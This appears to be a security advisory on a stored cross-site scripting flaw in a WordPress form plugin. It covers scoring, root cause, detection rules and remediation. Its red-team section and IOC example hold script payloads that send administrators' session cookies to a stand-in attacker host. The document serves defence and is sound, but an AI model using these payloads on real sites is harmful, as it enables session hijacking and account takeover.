CVE-2023-50836

Executive Summary

CVE-2023-50836 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin HTML Forms by ibericode, affecting versions through 1.3.28. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into stored form submissions. When an administrator or other user views the submissions in the WordPress admin panel, the malicious script executes in their browser session. This can lead to session hijacking, credential theft, or defacement of the admin interface. The vulnerability is classified as medium severity (CVSS 5.9) with a low EPSS score (0.0%), indicating limited active exploitation in the wild. No official patch has been released by the vendor, and no public exploit code is available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Since no patch exists, users must rely on manual mitigation or removal of the plugin. The lack of a vendor response increases supply chain risk for any site using this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: Required (UI:R) – an admin must view the stored submission
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the impact can be severe if an admin session is compromised.

Deep Dive & Mechanics

The vulnerability exists in the html-forms plugin’s form submission handling. When a user submits a form, the plugin stores the submitted data in the WordPress database without proper sanitization or output encoding. The stored data is later rendered in the admin submissions view without escaping, allowing HTML and JavaScript to be injected.

Root Cause: The plugin uses echo or similar output functions without applying esc_html() or wp_kses_post() to the stored values when displaying them in the admin panel. This allows an attacker to inject a <script> tag or other HTML elements.

Attack Flow:

1. An attacker with contributor-level access (or higher) submits a form containing a malicious payload in a text field, e.g., <script>alert(document.cookie)</script>.
2. The plugin stores the payload in the wp_postmeta or custom table.
3. An administrator navigates to the plugin’s submissions page.
4. The plugin retrieves and displays the stored data without sanitization.
5. The browser executes the injected script, potentially stealing cookies, performing actions on behalf of the admin, or defacing the admin interface.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.3.28):

// In admin/views/submissions.php or similar
echo '<td>' . $submission->get_field_value( $field_name ) . '</td>';

Patched Code (hypothetical):

echo '<td>' . esc_html( $submission->get_field_value( $field_name ) ) . '</td>';

The vulnerable code directly outputs the stored value without escaping. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with HTML Forms plugin version 1.3.28 or earlier.
• A user account with at least contributor role.

Steps:

1. Log in as a contributor.
2. Navigate to a page containing an HTML Forms form.
3. Submit the form with a malicious payload in a text field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Wait for an administrator to view the submissions in the admin panel (HTML Forms > Submissions).
5. The script executes, exfiltrating the admin’s session cookie to the attacker’s server.

Alternative Payload (session hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor for form submissions containing <script> tags or unusual HTML.
• Use WAF rules to block payloads containing <script> in form fields.
• Review admin access logs for unusual activity after viewing submissions.

Prevention:

• Disable or remove the HTML Forms plugin until a patch is available.
• Implement a Web Application Firewall (WAF) with XSS detection rules.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress admin IP.
• File: Modified or new JavaScript files in the wp-content/uploads/ directory (if payload writes files).
• Database: Entries in wp_postmeta or custom tables containing <script> tags.
• Logs: Admin access logs showing repeated views of the submissions page.

Example IOC (database entry):

Field value: <script>fetch('https://malicious.example/steal?c='+document.cookie)</script>

Detection Engineering

YARA Rule

rule CVE_2023_50836_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in HTML Forms plugin submissions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-50836"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*["'][^"']*["']/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via HTML Forms Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in WordPress HTML Forms plugin submissions
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: "form_submission"
        field_value|contains:
            - "<script"
            - "onload="
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in form fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-50836 Stored XSS Payload in Form Submission"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the HTML Forms plugin from the WordPress admin panel.
2. Remove stored submissions – Delete any existing form submissions that may contain malicious payloads.
3. Audit user accounts – Review and revoke contributor-level access if not needed.

Long-term Fix:

• Since no official patch exists, consider migrating to an alternative form plugin (e.g., Contact Form 7, Gravity Forms) that actively maintains security.
• Monitor the plugin’s repository for updates; if a patch is released, apply it immediately.

Compensating Controls:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Use WordPress security plugins (e.g., Wordfence) to block malicious input.
• Enforce Content Security Policy (CSP) headers to restrict script execution.

Valters IT – DevSecOps & Cyber Threat Intelligence